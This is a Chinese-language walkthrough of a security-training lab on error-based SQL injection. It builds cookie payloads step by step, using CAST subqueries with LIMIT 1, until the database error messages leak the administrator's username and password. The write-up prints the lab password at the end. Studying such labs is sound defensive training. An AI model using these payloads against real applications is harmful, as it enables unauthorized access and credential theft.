文章目录
- 前言:
- 进入实验室
- 构造 payload
前言:
实验室标题为:
基于可见错误的 SQL 注入
等级:执业者
简介:
本实验室包含 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。SQL 查询结果不会返回。
数据库包含一个名为users的不同表,其中有名为username和password的列。要解决这个实验问题,请想办法泄露管理员用户的密码,然后登录他们的账户。
进入实验室
依旧是一个商店页面
构造 payload
借助谷歌插件 EditThisCookie
输入单引号,页面显示报错
注意报错内容中显示了完整的 SQL 查询,包括 cookie 值;除此之外,还解释了有一个未闭合的字符串;需要额外注意的是注入内容出现在单引号字符串中。
输入单引号+注释符
9Dr386uz23LFIvjF' --
刷新页面,页面返回正常,表明在语法上是有效的
select 查询
9Dr386uz23LFIvjF' and cast((seect 1) as int) --
页面显示报错,报错显示存在语法错误
修改 payload
9Dr386uz23LFIvjF' and 1=cast((select 1) as int) --
页面返回正常,说明语法正确
查询用户名
9Dr386uz23LFIvjF' and 1=cast((select username from users) as int) --
页面显示报错,但是由于字符限制,报错显示并不完整
修改 payload,删除 cookie 值
' and 1=cast((select username from users) as int) --
页面依旧显示报错,报错内容显示返回多于一条记录
如果限制返回一行,是否就不会出现报错
' and 1=cast((select username from users limit 1) as int) --
报错中出现了 administrator
继续尝试能否报错出现密码
' and 1=cast((select password from users limit 1) as int) --
成功在爆破中得到密码
登录账号密码,成功通关
administrator
vai842k57z3l4lb0hgij